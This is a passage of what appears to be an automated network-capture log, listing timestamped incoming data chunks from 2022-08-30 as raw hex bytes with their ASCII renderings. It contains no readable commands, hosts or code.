b1 5b 86 aa 47 4a ae 9a 37 32 b2 4e 95 90 eb 2f e7 b5 f7 fc ff f5 72 20 77 3a eb 43 90 2f a0 7f d2 5b 2c 10 a9 80 5f 76 19 ac dc Data Ascii: ;OYy\|h+NBkAP?O`4:&\1rC7=9\|_?1k{f)bdMg\|<McmtD:uf'hgt[{3OV2_W K.%/4\Qowhtr_SQ+5*&c"<[GJ72N/r w:C/[,_v
2022-08-30 13:54:59 UTC	8	IN	Data Raw: 67 20 14 33 18 66 99 16 e2 ea 6e 77 e5 7b 57 c3 10 a4 16 5b 5d 6a e1 e6 1f 1a a4 88 89 6d 13 9f e3 69 41 c4 75 f6 1b 98 61 b2 fc e1 e3 2d 13 1c 65 b8 3b a6 25 b9 fc b0 fa a7 6a a7 99 5b 1b 98 7b d7 2c ce b3 f6 4d 07 0a c8 d2 54 a9 ae e5 96 f5 8f 69 23 72 3c e9 67 b5 79 53 5c ea c4 76 4b 75 07 42 a8 e2 9b df a9 79 22 7b b3 f5 ab 51 1b 7e 36 2f 13 1e b4 29 1f 41 4a 46 a5 e9 bc 36 67 a9 62 4c 83 40 8d e1 2e 2c a3 a9 e4 ae f3 d2 a2 84 92 d5 2f 6e fe 7f 63 62 0e b9 a7 6a d8 2c 26 29 a3 3a 1f 69 4c 46 83 e9 a9 cb 83 65 c2 00 f7 b1 3c 72 50 c4 ee 75 ad 77 48 c7 f7 64 a8 64 27 b0 94 64 cc 39 f5 3a 7c d1 68 c3 d5 c5 e3 a1 4b d4 f0 5f 63 71 4e 5b 62 84 34 64 3e 76 9d 50 24 ef 2a e9 1f 8a 08 c4 fe 61 8a 4d a1 45 8c 7e b8 27 12 19 ea f3 a6 07 59 a7 fc d9 b0 b8 88 68 Data Ascii: g 3fnw{W[]jmiAua-e;%j[{,MTi#r<gyS\vKuBy"{Q~6/)AJF6gbL@.,/ncbj,&):iLFe<rPuwHdd'd9:\|hK_cqN[b4d>vP$*aME~'Yh
2022-08-30 13:54:59 UTC	9	IN	Data Raw: d3 56 64 af fd fd dd 9b af 18 d1 e5 2a 87 4e e3 ea fc cc 89 0d 2e 52 a8 b0 bc 66 bd 71 e1 6a 3c 3a e3 e1 13 5f a5 dd 3d ee 06 63 fa dc 99 f4 2f 29 fb 8d c2 a2 d4 4f 0a ea 19 d9 11 a1 f5 6d 62 47 cf ee e7 66 d5 a6 6b a7 ea d7 87 9c 8a 9e 14 cd 0d cd 8c 2e 0c 3c f1 79 f3 18 78 fd ce 26 10 2c 1c ce c0 57 29 fa ce 22 8f 61 57 32 10 2d ed f4 ca 2f 9d c9 0e a1 08 b6 58 cb 35 94 d9 0c 03 ec e8 14 94 52 90 0e 1d 90 48 a4 60 27 2f 68 2b e0 63 24 e3 9c 05 a4 68 5e 2a 4f c7 6b e9 49 23 e5 7c f7 2c d0 7c 48 ef d3 13 76 dc c6 6c a4 37 b1 a6 2b 0b 3b 5f 79 ed 09 9a 7e b9 3a db 58 fe 69 23 0b b0 e0 96 41 3a d0 5e 1e e3 e3 eb 86 89 99 55 a5 0a f9 26 cf 86 90 b4 cd 1f 80 c6 6d d7 60 90 15 3c 82 41 44 21 dd 97 d1 3b 07 e9 5e b0 f3 3e 0f 29 3e d3 5b da 24 cc 29 61 22 f9 5d Data Ascii: VdN.Rfqj<:_=c/)OmbGfk.<yx&,W)"aW2-/X5RH`'/h+c$h^OkI#\|,\|Hvl7+;_y~:Xi#A:^U&m`<AD!;^>)>[$)a"]
2022-08-30 13:54:59 UTC	10	IN	Data Raw: a1 fc e2 17 af 4a bb 45 e9 1e 51 06 90 ad b9 c3 8e 5f a3 fd 51 3a 7d eb 7c 99 28 4b 1e 74 ef f5 3d 27 08 d6 b3 2d 0c da 05 c3 bd 1a 94 e4 32 3e 1f ca b3 7c 91 40 cb 94 6d 2e f1 cc 8b 26 e7 28 e4 67 6d dc 90 06 31 5a 3c 3e a4 f0 ba 4a ce 52 51 f4 6a 9e d6 35 bd e2 ab b0 3e 93 13 87 4b 79 f7 08 cc e3 3b 57 9d 50 81 9c 1b e6 01 bc 2d 10 f2 bb 0e b7 3e 90 39 f3 3f f9 a2 34 78 f9 11 c4 76 d8 09 87 29 c4 4e 28 a2 c4 ca 61 0c d7 c1 44 83 76 0c 51 f2 bf 7b 61 eb cd f7 16 e3 50 20 93 0c 42 92 ca 7f d0 16 24 e9 ec 35 b8 b9 12 3b 1e a1 dd 46 e7 c5 4d fb 93 12 90 e3 e5 d6 c7 5b 61 b7 45 c3 68 1c 27 f9 a0 40 f6 95 04 68 a6 39 74 fa b7 6a f0 6e a4 d2 8b 0a 01 68 af e9 62 14 67 a0 14 ad ed ed 24 13 ee 5a d1 14 22 a6 a6 aa ae a2 de b9 4b aa 21 f9 73 6c 2c a7 e5 e5 64 12 Data Ascii: JEQ_Q:}\|(Kt='-2>\|@m.&(gm1Z<>JRQj5>Ky;WP->9?4xv)N(aDvQ{aP B$5;FM[aEh'@h9tjnhbg$Z"K!sl,d
2022-08-30 13:54:59 UTC	12	IN	Data Raw: b7 92 51 da 4a a7 28 cd 6a 6f 82 99 51 2f ea 63 d2 15 c6 30 c1 f8 8b 1c 79 38 36 2d 6b e2 b7 56 5e 37 63 6a 38 38 ee af 65 29 6c 8f 82 8c 49 8d 52 6e 7e a3 e9 01 8b e7 5d 05 3c 11 57 10 dc 63 e7 7a 08 a3 79 db 0a 61 48 85 9f eb f5 ff 29 e6 5a 00 b1 60 eb 3d c6 1a 2e d7 a2 99 66 4b 80 0b 48 e5 49 64 59 72 e7 2a 58 e2 dc 8e 20 07 a8 63 27 29 67 0c da 89 2f 15 50 b7 ee 89 e8 aa 60 ea f9 2b a6 6f 1c c2 ee 8b 54 fa c0 76 d4 b4 fa e1 24 86 43 6d 1e de f3 bf e4 a8 5e b1 df b1 dc 9c a6 e2 2e 67 84 d0 bd 8f aa 40 e5 7a 3a a5 85 0b f6 d2 8e a1 ad cd 61 6b 05 ec ef 66 a6 69 5a 80 aa d2 22 89 61 2e c7 42 c6 56 7d ae ec 5e 1a a3 c7 5e b7 03 ce 6f 7a 68 35 dd a7 ca f0 67 4a 15 50 22 64 93 63 3e 2d 7e aa f0 24 8a b4 9f a4 6b a9 c2 ad ad 41 e1 dd f1 e5 4e 6a 58 d4 3d 0e Data Ascii: QJ(joQ/c0y86-kV^7cj88e)lIRn~]<WczyaH)Z`=.fKHIdYr*X c')g/P`+oTv$Cm^.g@z:akfiZ"a.BV}^^ozh5gJP"dc>-~$kANjX=
2022-08-30 13:54:59 UTC	13	IN	Data Raw: 02 4c ee 0b 6a 9e 01 cc 80 26 e2 73 c3 ac 80 7a 30 32 65 db 19 93 5b b2 be 32 b7 19 56 3c b6 81 02 d6 2d d1 d5 8e 43 4c 0b 22 2a ad ba 5d fa 2c 19 d6 d7 ee ff 7f 4c b6 8d 2b e7 df 78 59 1f 5b 1b 6f df 07 6d 7d a2 b2 c2 0f c5 2d bf 03 aa c1 cc ac 69 2e 66 2e 60 bd eb 0f 16 1a e4 91 f4 fa 2e 74 81 6f de 41 f0 58 1f 2e d6 6a d3 d0 d6 4d 7d b1 0e d5 53 6c ec ce 1f 8f 43 69 ce 96 3d 83 19 93 92 3b 99 84 db 2d a1 17 13 5b e3 b0 82 54 9f 29 f1 a0 f0 2e 5d 61 cd fa d2 1a 04 4e b5 a5 70 e5 ef 9a 90 dd 10 02 84 73 bc 27 2e 40 c7 36 35 6f a1 a2 c3 0b a9 e7 ab 25 ed 9b 51 e2 d7 2d 92 a6 9c 32 6b ec 95 4a d4 fe b6 11 95 4a 92 52 42 af a4 8b 8f 27 19 25 01 3b 12 5c 6b d5 17 ff c3 8f 8e 62 ff 36 51 8f 87 c1 42 b6 a9 12 ad 01 de 58 23 e0 1a c2 4b 92 9a 70 cc ca 8a a0 a5 Data Ascii: Lj&sz02e[2V<-CL"*],L+xY[om}-i.f.`.toAX.jM}SlCi=;-[T).]aNps'.@65o%Q-2kJJRB'%;\kb6QBX#Kp
2022-08-30 13:54:59 UTC	14	IN	Data Raw: 64 29 63 ed e5 af a3 60 d8 1f 79 87 54 41 49 74 7c 29 a4 22 6e ee e2 a5 2c 4c 05 5e 87 c6 5b 2f 86 c7 2b 4b e1 9c 51 ac 8c f0 d0 37 8c fc 3e 24 76 f5 8a 08 76 f4 79 af a3 4b 0b f8 cc 78 43 62 af 6a 01 5e 3f e6 bc 76 e5 0b d7 7d 1f 80 f2 aa 6c ac 1e 4a f6 2d 25 c7 dc b8 29 ed 2e 71 28 aa 1f 42 f5 78 ef 27 92 da f3 26 bc 97 d2 63 83 4c 84 40 2a 71 b0 e9 a9 5b 93 e3 27 a7 fc 71 ab e9 a9 47 8c ed ab e9 a9 43 2a c8 20 62 28 2e 70 fe 96 20 ed ee 97 c4 f7 80 f6 ae 08 45 f9 b1 c2 ca 19 6b a7 c4 7d 6c 2b b9 1f 00 98 02 a3 b2 65 27 4b df fa a4 96 6a 0b b2 dc 65 4d 09 dd a6 6f a7 69 51 57 a8 e5 76 fe e9 f6 e3 f5 64 23 6c 7a 77 61 2f e7 e3 64 20 77 39 f1 b7 59 17 22 62 f6 49 f0 35 a7 c2 7b dc 1b 90 8a fe e1 ee f7 b3 a3 67 d2 60 a7 6a 32 d7 32 57 5c 6e 25 38 b4 20 ea Data Ascii: d)c`yTAIt\|)"n,L^[/+KQ7>$vvyKxCbj^?v}lJ-%).q(Bx'&cL@q['qGC b(.p Ek}l+e'KjeMoiQWvd#lzwa/d w9Y"bI5{g`j22W\n%8
2022-08-30 13:54:59 UTC	15	IN	Data Raw: 19 e5 0c 0a 76 ba 76 b2 3e a1 6b 13 d5 38 a3 e5 22 cf 76 12 a4 dc 02 3e e0 bc 3f 35 b8 2d 2a 3c d2 de 3b 7b 9f 80 16 15 6e 10 d8 26 c8 00 3f 47 2a 75 e7 e8 ce 77 b9 e5 23 ab aa 77 bb a6 fa 51 85 ab 53 bb ca c1 35 7c 1a 71 5a cf 65 b0 e3 7a 38 27 f8 3c c9 87 e1 e4 6a 44 80 ae 89 46 79 50 b4 5f 7f e0 5b 49 6a 0b 48 4c 7c 43 ac 1b 15 cb a9 84 28 76 3a 08 e3 e1 5e f5 d4 64 b1 52 ea 06 0d f4 6b 34 cc 8c e7 99 a6 d1 e1 62 23 46 03 65 31 3e b5 15 aa 31 d0 be 5e e8 0d ba 5f 37 0d 71 3e c6 72 ec 14 36 56 34 47 f8 c5 ed de bd 46 f9 6c d8 77 a1 54 93 ea 4f 89 2f 73 38 2e 13 54 e0 33 d1 1f 83 10 ca 3b 95 85 21 df 3c d5 a7 7e 5f 91 28 6d c7 00 99 3f f7 7f e8 38 9e 9d bd c5 8a 35 f7 e7 61 2d 43 78 5e 69 a7 f3 aa ff 59 4f 28 13 99 df 7e 10 36 de df 50 e8 e6 14 1f ed a3 Data Ascii: vv>k8"v>?5-<;{n&?Guw#wQS5\|qZez8'<jDFyP_[IjHL\|C(v:^dRk4b#Fe1>1^_7q>r6V4GFlwTO/s8.T3;!<~_(m?85a-Cx^iYO(~6P
2022-08-30 13:54:59 UTC	17	IN	Data Raw: eb a3 d2 19 2a 29 e4 31 9c 82 e4 a1 79 33 6c e8 1e 97 80 c9 22 aa 13 1c 2c eb 22 af eb 3a 76 26 6e 62 be 7b b2 80 58 6a 2c c1 ca d3 37 87 23 66 b9 2c a1 35 f9 6f 77 04 1f f5 6d 62 87 b5 2d f3 a3 32 14 27 83 00 07 a0 cd 82 04 a0 26 e7 e6 a2 2c f1 b3 44 8f e3 79 2f 3e 18 2d 13 8b b5 2d 17 47 be 9a 44 78 13 0c 3d d7 2f 6a a9 e1 62 9a 6f 58 e9 a2 3b b6 5c 57 ec f2 7a a0 6e a3 e9 24 6d a9 e3 5d 07 bb 10 d1 2e 6c e0 4d 83 2e 20 67 fa 26 7a cd ff 0a c7 2d 0f 5f 13 9e 1a 80 6a 5d 37 39 a3 f1 3f ab 33 ce 56 43 7f a7 15 a5 e8 fc ab bf 67 28 31 32 af ae ea 80 4c ca 5a fb dc 00 7f 83 43 6b d3 5b 0a af be 1b d7 1a e3 bb db 7b 6d a7 1e d5 93 58 80 42 d8 e1 7e 3c fc ba 02 8c 2d b3 ff e2 df dd 6c ac 66 56 46 74 6f a6 5d 62 77 44 6c c1 9a bf ff e2 c5 4d 1f 7e d3 a8 ee dc Data Ascii: *)1y3l",":v&nb{Xj,7#f,5owmb-2'&,Dy/>--GDx=/jboX;\Wzn$m].lM. g&z-_j]79?3VCg(12LZCk[{mXB~<-lfVFto]bwDlM~
2022-08-30 13:54:59 UTC	18	IN	Data Raw: 17 b1 dd 19 e1 d4 fc b3 60 89 52 c9 e3 26 d4 1a ec c4 b7 96 2a 13 de de 26 d8 96 30 ce 7b 82 c3 f4 7e fd e6 bd e1 e9 36 94 d1 65 99 5f 26 eb ba 3e a6 2e 66 a4 6c ed df b3 41 8f 1a c7 5b ef 11 3b 7b dc 31 92 8f 1e 84 8d 4d 70 b0 3d d4 59 ef 35 67 36 69 27 53 1d 19 1c ec 16 d0 39 08 4d a9 d6 cd c2 08 32 fb 01 cd 60 fe 38 c3 7d f4 b8 54 5a 92 32 a6 64 f0 fd 36 6b 36 03 4d 2e 99 36 33 d7 45 80 c3 51 ed e1 dc 1f d4 e9 d0 36 3a e1 b8 b6 11 96 13 77 8f ba 36 3d f5 91 8f 9d 83 66 c5 fd a5 45 46 ab 58 46 ec 62 11 be c5 0b ba 1e 45 8c 2b 8a f7 18 87 78 dd 02 84 49 b5 0e db 3d 40 f3 80 32 3a c1 c9 e8 93 db 45 8a a0 31 a6 cb b8 2a 58 06 54 f4 3a 5a 07 29 a7 17 a3 f4 03 b2 69 3e 23 95 0d f9 a4 35 a9 6b cd 00 60 aa 10 32 4b 7e b7 e3 69 29 2a 9b e7 ad 4d 7d 11 be b9 9d Data Ascii: `R&&0{~6e_&>.flA[;{1Mp=Y5g6i'S9M2`8}TZ2d6k6M.63EQ6:w6=fEFXFbE+xI=@2:E1XT:Z)i>#5k`2K~i)*M}
2022-08-30 13:54:59 UTC	19	IN	Data Raw: f7 c5 4d ab 31 2c b3 12 9f 96 d5 b0 b3 7e bd 94 47 74 52 89 c7 6a 07 a2 85 a3 1a 6d 1e 02 3f 8e a4 6a 06 bf a0 e4 0f c0 94 95 83 05 ce 85 a6 e1 2c 8f 1f f5 61 6e f6 d3 92 12 09 55 ff 0e b5 d2 f8 9d 98 0e f0 76 b5 0a d7 ad 7e 05 ca 2d e0 7e bf e9 7a 4c d7 1d d8 32 74 05 49 60 af 6d 84 1e a6 d3 48 6b c1 0b a6 e9 e0 ba b3 18 d4 bd 2f b1 22 19 c7 7f 9c 58 b7 75 9e 53 19 7e 56 31 a4 0b c5 69 d9 97 26 f3 bf eb cc dc ff ef 15 59 24 a5 63 62 27 65 a3 e1 f2 37 a0 d3 13 eb e4 42 4b 53 0d fd d8 62 87 32 1e 5c 77 96 66 07 b7 fa a4 79 37 69 4c 80 af e0 a4 b4 38 a4 ab 82 3e 1a a2 6a ac d3 53 29 f6 d2 ec c1 51 6b a7 94 ad ea 69 23 e3 a6 73 b7 ab e3 5e 9d a1 6a a5 7c 9f de 38 6e a0 69 ad 41 05 e6 c9 9c 9d a1 c6 43 fd 99 26 17 5b eb e7 ab 26 41 c7 a0 26 38 74 eb 2c 60 26 Data Ascii: M1,~GtRjm?j,anUv~-~zL2tI`mHk/"XuS~V1i&Y$cb'e7BKSb2\wfy7iL8>jS)Qki#s^j\|8niAC&[&A&8t,`&
2022-08-30 13:54:59 UTC	21	IN	Data Raw: 61 a2 85 6d 60 c5 43 cf 61 57 3b 0d 49 47 08 01 aa 33 f0 62 ee 24 42 0f ea ed 20 10 9e e4 f9 97 e3 ff 1b b7 1e a3 0a da 77 c7 68 f4 5b c7 43 fe 1a b7 7a a3 67 aa 6e a6 69 30 ff a3 6a a0 0f 95 ae 04 b9 69 96 4a 55 b7 4f 93 e7 7e 8f 16 bb 47 5a e9 14 97 ee 13 5a 02 9a c2 5a cc 31 97 c5 38 5a 6b 97 96 a6 68 6e a0 9a 1f 71 a2 b7 59 13 13 d2 0c 6b a7 6a fa 7b 16 b6 2c 90 d6 38 bf 44 4b e4 2e 6e d8 d4 86 88 8e b1 22 39 81 ef dd eb fb c3 59 17 2c ed 65 a8 51 db 1b e3 d5 e5 e7 a1 58 a3 6e e3 2d 7e 7e a0 5c 95 a7 18 5c 10 28 06 49 af 16 f6 6e 0a ba f5 6d f2 79 d4 53 0e ad 00 58 80 22 ea a0 0d fc 08 e3 27 a2 af 87 ca d7 59 8e 02 5a 80 18 18 0f 9d ab 20 2e 08 fd 1b 76 7a 67 ef 02 48 ba 46 d1 7f 1f f0 be 63 e9 47 36 fb 52 df e2 7e e1 56 c0 2f 10 80 da a3 05 7c 36 be Data Ascii: am`CaW;IG3b$B wh[Czgni0jiJUO~GZZZ18ZkhnqYkj{,8DK.n"9Y,eQXn-~~\\(InmySX"'YZ .vzgHFcG6R~V/\|6
2022-08-30 13:54:59 UTC	22	IN	Data Raw: d4 c2 f6 f1 f3 2b a2 e2 28 90 8e 3b d2 17 fe 3a 67 aa d3 1d 97 99 a4 4b 4d 7b 89 55 24 a0 b6 d3 4e a6 e0 a0 c2 53 46 96 ef d8 5d 9a 50 4d cb ad bd 7b 26 5b 90 e4 3e f1 2d 94 08 1e 98 5b 9e 8c 53 ef dc 94 c4 05 21 a0 aa 19 62 94 93 53 dc 19 e3 2f 57 99 14 c3 35 e7 a1 95 08 12 0c 11 5c 1c d4 4d 46 ac 28 a5 c9 1c cf 5a 6f 12 11 3f 79 0d 1d b7 dd 10 2a 6c 58 c5 df c1 dc 91 d1 19 a1 e1 69 27 26 a5 cd 18 a4 87 d5 ac a3 a6 6a 6b b5 80 67 4e c7 7c f1 4a 85 64 8b 48 ad 54 b2 74 34 b9 24 fc f7 ff bd a0 ce 81 66 f0 3b 6a 0b 49 6d 07 87 69 90 5e a4 59 97 69 c2 30 9b 69 9c d2 2c 39 79 e7 20 95 27 95 d2 17 24 e0 f7 c4 c8 6e 8b d2 a7 6a 21 67 a9 ae e6 f4 6f bc b9 f0 33 62 3f 64 2a 11 5d 1c d8 61 2c e7 2a 2f 37 cb f8 4a ca 07 20 33 79 ce 01 f4 27 f6 a1 e8 09 c2 02 15 f3 Data Ascii: +(;:gKM{U$NSF]PM{&[>-[S!bS/W5\MF(Zo?ylXi'&jkgN\|JdHTt4$f;jImi^Yi0i,9y '$nj!go3b?d]a,*/7J 3y'
2022-08-30 13:54:59 UTC	23	IN	Data Raw: 80 bd 08 c6 f1 a2 68 f8 2a 37 82 b1 b5 b6 1e 6f 21 3f 47 c8 83 3c f4 a9 6a 29 01 26 c4 92 99 18 72 03 e1 2d 95 6e eb 73 f6 ad 1a db b2 69 9c be c6 fb 6b f3 b3 a4 96 d1 28 90 1f 25 28 66 64 cf 49 9e 87 4e 55 6e 67 20 79 a5 7d 87 3d 87 d2 a7 e1 f7 13 cf 49 c4 18 31 5a d5 ee ef f1 34 a2 fb fe 26 ee 1a 22 42 48 f0 73 6f cd d4 76 8b 5a cb 90 10 c6 2a 8a d5 eb c5 5e 94 2f 19 39 cd 44 1f 12 a9 57 69 ba ad b0 95 99 d5 61 bd 07 6d ab a1 62 4f 8e b3 0e d8 0b c5 5a c9 d4 32 c8 7b 6d b3 85 5a 02 c9 f6 69 d4 02 d8 5a 97 5a 6e 29 92 52 52 e9 9c bf 88 5a 97 5a 9d 50 98 52 82 1a 2f a6 fd e0 71 fb 25 9e c8 f5 80 b7 d5 18 1e 69 23 20 2f c9 e3 49 25 69 04 c7 b2 3b a1 26 00 29 dc db 44 d1 7e 51 b8 93 8d 74 38 5d 05 ec a0 b1 e9 74 c8 7e 98 68 6c fa c7 15 50 7e 8a 60 ea dd 15 Data Ascii: h7o!?G<j)&r-nsik(%(fdINUng y}=I1Z4&"BHsovZ^/9DWiambOZ2{mZiZZn)RRZZPR/q%i# /I%i;&)D~Qt8]t~hlP~`
2022-08-30 13:54:59 UTC	25	IN	Data Raw: 4f e0 e1 c1 48 d8 53 c1 ab 0a 26 d5 f5 86 2f cc 6d 8d 2c 13 f6 69 ec 02 ff 55 c8 88 5a 59 a5 9a 09 c8 74 3c 3a 73 75 b8 75 e0 00 47 6a 96 43 bf fe e9 a4 b3 a1 41 96 4e b2 30 f5 42 32 36 4f 25 83 00 cd 2a 8d aa 49 64 47 a3 ba ff 0e cb 6a 2a 87 56 5f 8b b2 14 cc 01 cd cb 66 0b c6 f5 4d cb 93 c0 dc bb 7a 1f 9b 14 f2 55 a5 74 3b e9 b4 10 c9 6f f6 da 42 73 37 0a 4f 7e 76 6b 5c 49 f5 c8 ca 67 2d f9 e9 80 3a d6 80 af c1 f9 b4 90 57 7c 4d 96 9b 22 09 a3 49 97 62 73 8e 9f f9 0a 34 32 52 e3 6b dd 55 d6 85 ed 42 96 39 ee a6 68 47 93 4c 82 52 92 3e aa 06 6e eb 8c 82 1d 91 01 12 82 92 64 cc a9 3f 01 57 ea 24 e5 aa e8 47 63 80 df d4 69 69 08 dd 44 f4 44 27 af 4f 43 2f 2d e0 3e 0e 51 25 c3 63 a9 cd 2b 01 49 12 9a 4d 84 b3 2a f4 2b ea 37 f6 68 59 05 83 be de f8 0d 69 80 Data Ascii: OHS&/m,iUZYt<:suuGjCAN0B26O%IdGjV_fMzUt;oBs7O~vk\Ig-:W\|M"Ibs42RkUB9hGLR>nd?W$GciiDD'OC/->Q%c+IM*+7hYi
2022-08-30 13:54:59 UTC	25	IN	Data Raw: a2 7b 30 d1 16 c2 14 ac f1 7d b6 a7 38 31 6f f9 8f 94 e2 f9 7d c7 93 35 1e cc d1 c8 07 56 af 72 bc f9 3e c3 96 56 de bd 96 cc 07 aa bc b5 82 4f 8c 59 92 36 f4 28 e6 3a e7 33 e0 94 4e 2b 0c a5 1e ca 62 86 8d 73 eb bc 07 e2 dd b8 22 d3 ec 07 d4 17 96 a2 74 20 9b f3 48 46 f5 3e 9f 95 4a 10 17 ba ff 67 fa 8a 83 33 d0 db ca ab c0 b6 c7 b1 c0 43 1d 1d 9f 0a d6 6b 86 71 36 17 56 1b 5d 0a b1 ae 1e c0 c0 5c 88 55 fa db ac 17 01 fe 7b ee 41 87 16 6d 0d 0d 4b 82 2c a8 83 03 be db 82 f2 eb 0e da 72 63 3e ce 2a 2a 1c 6c e0 31 06 61 0d 78 21 54 0d d7 b0 85 fe 20 e5 0f 8f 75 6a a2 97 8e 94 9a 6b bd 66 42 8c 4d ff 59 50 11 9a b3 ad 7d 18 21 80 32 ff 32 ff 32 9b 2a 83 0b 8a e4 9b 55 f3 f9 ac cc e6 4a f8 26 01 26 66 6f 82 ff af 47 c8 3f 08 47 a6 04 aa ef 35 08 ff 9d 7e 97 Data Ascii: {0}81o}5Vr>VOY6(:3N+bs"t HF>Jg3Ckq6V]\U{AmK,rc>*l1ax!T ujkfBMYP}!222UJ&&foG?G5~
2022-08-30 13:54:59 UTC	26	IN	Data Raw: 3b f2 92 4b 07 95 85 16 2c 62 ee 88 17 13 83 2d 05 5b f9 77 fc e2 63 6b d3 08 b2 31 d3 83 e5 a8 3c a6 fa 25 df 57 8b 42 4c 95 ba 54 1c 16 92 ab 6b 61 e8 66 16 47 b2 67 95 2c ab e2 7b 4f 61 a5 ea 23 e5 d4 17 dd e1 df a6 0d 00 f0 c2 8b ee 90 67 ea 48 a5 2c 62 17 5a 1b 09 3d 61 27 5b c9 a6 07 59 fc 14 0f 30 ca df 84 48 a1 a1 84 4a e6 ca e6 90 5d ed 07 ee a0 7a 23 37 b3 fe c0 54 b1 e5 61 e2 75 8e 1f 16 13 c3 7b 97 e1 fb 55 5e cf 13 6a 2a e7 f2 93 b2 ff 7b 9e b3 92 4b ea 9c 55 26 2e 4e 96 7a 62 62 8e fe 68 a7 fd a7 42 94 49 f7 95 4d 4b d7 2a b3 f9 e0 9e 9b a1 e5 4f 87 e8 05 ed 80 e7 29 4b 84 4b a8 2f cd 02 f0 54 a9 42 e0 51 3d 89 06 ef f1 52 cf 61 2c 15 54 73 de 06 b0 9d 7a 75 d2 6b 9b 50 f4 39 9f 22 06 f7 0e 3e 41 92 8c ab c2 3a 84 96 3c 0f da 76 c6 6a bd b1 Data Ascii: ;K,b-[wck1<%WBLTkafGg,{Oa#gH,bZ=a'[Y0HJ]z#7Tau{U^j{KU&.NzbbhBIMKO)KK/TBQ=Ra,TszukP9">A:<vj
2022-08-30 13:54:59 UTC	28	IN	Data Raw: f9 35 a6 f1 8b df 0c 46 f4 b8 ab 62 9c db af 2e 64 67 af 62 af 5d 92 90 4d 66 bc 6f e3 25 0b b3 af a9 ea 80 4e 5f 6f 32 b3 db 1a bb bf 53 d0 2e 65 3f 71 5b 41 85 d3 b6 7f bc f2 a2 6d 01 b3 22 a9 da 8c 22 0e 3c aa cc 9e f4 39 d4 62 be 0c 91 5c b5 a1 6c 43 58 71 6a f7 3a be a8 0a 58 87 a7 2d 13 f8 a4 5b 86 b6 96 dd d5 8e 81 4d 62 e2 78 41 56 a0 21 12 b8 88 e3 d4 e9 c7 32 aa a4 1b c8 99 65 0d ac da 78 0e a3 55 56 ab e7 6d 96 11 77 82 05 b7 26 a3 a8 a9 14 97 69 5b 31 83 ad 64 69 d8 52 35 cc 9d 72 7c 90 4a d8 1f b3 62 77 7c 40 c6 1e c6 be 67 a8 ed 22 67 34 74 a0 c8 22 82 2e dd 11 f8 f6 ef ae a8 ed 27 09 80 58 81 0d 51 e0 43 fb 8d 38 a6 66 6c ea d2 93 b8 bc 2e e6 2b 2e 50 ad 08 3e e9 23 a0 47 7f 19 25 e7 3a 3c c9 85 66 6d a1 3d 30 eb a0 8b 2e 43 a7 ad 26 24 4e Data Ascii: 5Fb.dgb]Mfo%N_o2S.e?q[Am""<9b\lCXqj:X-[MbxAV!2exUVmw&i[1diR5r\|Jbw\|@g"g4t".'XQC8fl.+.P>#G%:<fm=0.C&$N
2022-08-30 13:54:59 UTC	29	IN	Data Raw: cf 22 a3 1a 05 37 e0 59 c5 b7 2a 22 2f 8c ba c3 6b 72 22 6d a0 75 7b fc 12 ac c1 dc 90 aa 61 26 72 da 8c 2a af cd cb eb ab a0 e1 b1 b9 e7 2a e2 ed e5 89 81 2c e3 63 2c 6f 26 68 26 97 99 62 ef 1e a8 9a 39 9e 5c fb 2c 1f da e9 26 5b 52 d0 b3 0a 2c 20 4d 87 5a 9f 66 27 f5 bb e7 29 73 bc 1e 9e 16 56 a7 e7 6d 2c f6 50 8d a7 1e 4e c5 e7 4d 53 6b 9e 38 39 28 3d f1 b1 61 20 60 af db 44 3e 4a 28 22 a8 24 84 db 7b 4e 02 e6 88 21 ae 36 eb 69 1c d0 9e fe 38 f5 0b c6 4d 73 cb 0f 01 d1 e2 11 7d f5 ec 80 7c 1b e3 86 24 d6 8f 9d 6e af 74 6a a7 57 66 5a 46 b0 a0 d3 1c 26 cf 1c a6 0c 0f fb c7 2e 09 22 3f 3e ec e4 e5 ed ca 0a 06 d0 5a d1 98 7d 2f e3 d9 a5 02 0e 60 9f 6c 80 1a 22 4c 40 b8 93 6c 60 61 8a b5 b8 e0 c1 fd d4 f1 ea 30 35 f6 2d 7a b6 21 6c db 17 f9 3e cd 20 85 a3 Data Ascii: "7Y"/kr"mu{a&r*,c,o&h&b9\,&[R, MZf')sVm,PNMSk89(=a `D>J("${N!6i8Ms}\|$ntjWfZF&."?>Z}/`l"L@l`a05-z!l>
2022-08-30 13:54:59 UTC	30	IN	Data Raw: 74 d9 c3 00 96 4d 9a 4c c6 b8 a4 08 59 fe ff 92 5d 43 61 14 f7 7e a5 63 80 88 9d cb 3e 32 38 74 ba 60 51 cb f0 7c 77 aa a7 a8 6a 74 f2 28 b1 f9 e4 aa 87 71 5e da 09 8d 5f da d4 63 2e de a3 02 bf 11 5f a9 d5 ef dd 94 d5 3d 9b 40 46 ff fd fc 0c b2 b1 96 c1 3e 54 a7 8a ec 66 12 88 d2 32 97 3f f9 27 83 4a 65 a9 ef bd 95 9f 6b 18 ea af 6e 3c 6a 0f b6 3c ee 82 b5 9a f1 87 8a 0c 4b 2e 9e ed 0e 7b 64 ce 60 4c 27 3f 6f a3 25 80 bd ca 3e 78 ce e6 bf 40 bb 67 99 59 f8 10 9c 71 a6 a2 78 a3 89 70 09 e9 ef 11 87 56 8b 27 40 c8 90 4d fe a1 de 62 1d d5 1c 2d d2 96 84 88 28 02 88 e5 bd d8 c3 d2 55 86 10 48 99 be ab 23 38 Data Ascii: tMLY]Ca~c>28t`Q\|wjt(q^_c._=@F>Tf2?'Jekn<j<K.{d`L'?o%>x@gYqxpV'@Mb-(UH#8
2022-08-30 13:54:59 UTC	31	IN	Data Raw: 05 86 81 14 bc fd 3d ab b2 bc a8 fa f8 2e e3 de d3 7e 37 35 08 16 24 6f 51 53 e6 69 4f 9b 36 6f 5d 6f d6 78 30 dc 95 1b 66 db a1 e7 a2 88 bb 1a a7 82 68 b7 a2 6a db 2f 75 7e 26 15 f5 c5 a4 6a d5 84 1f 7d 62 cc f1 74 f4 74 f4 67 27 c5 0d f8 7b aa 4f 83 f4 3a ad e3 a2 10 99 fa de 31 09 5f 2f 1b 99 4b 59 d9 34 cc e0 23 d8 14 db 38 19 bf a1 61 9a 66 b4 be 53 ef a5 fb f2 1b f1 b7 68 5f d2 1d 5f e6 2b e0 86 72 cf f0 79 de 8e bd 99 86 20 ea 5e 91 0c 49 21 9d e3 6b 91 99 47 2c 7a 94 de 36 3e 83 bc 26 d8 14 d9 03 64 95 38 b8 bf 62 2c e6 b0 0c d5 5d 5d a3 4c 84 29 ae ec 45 44 99 14 13 20 0f b4 6b ac 53 62 cd 20 ad b4 6a d2 19 88 c0 8d e3 d3 6c f7 95 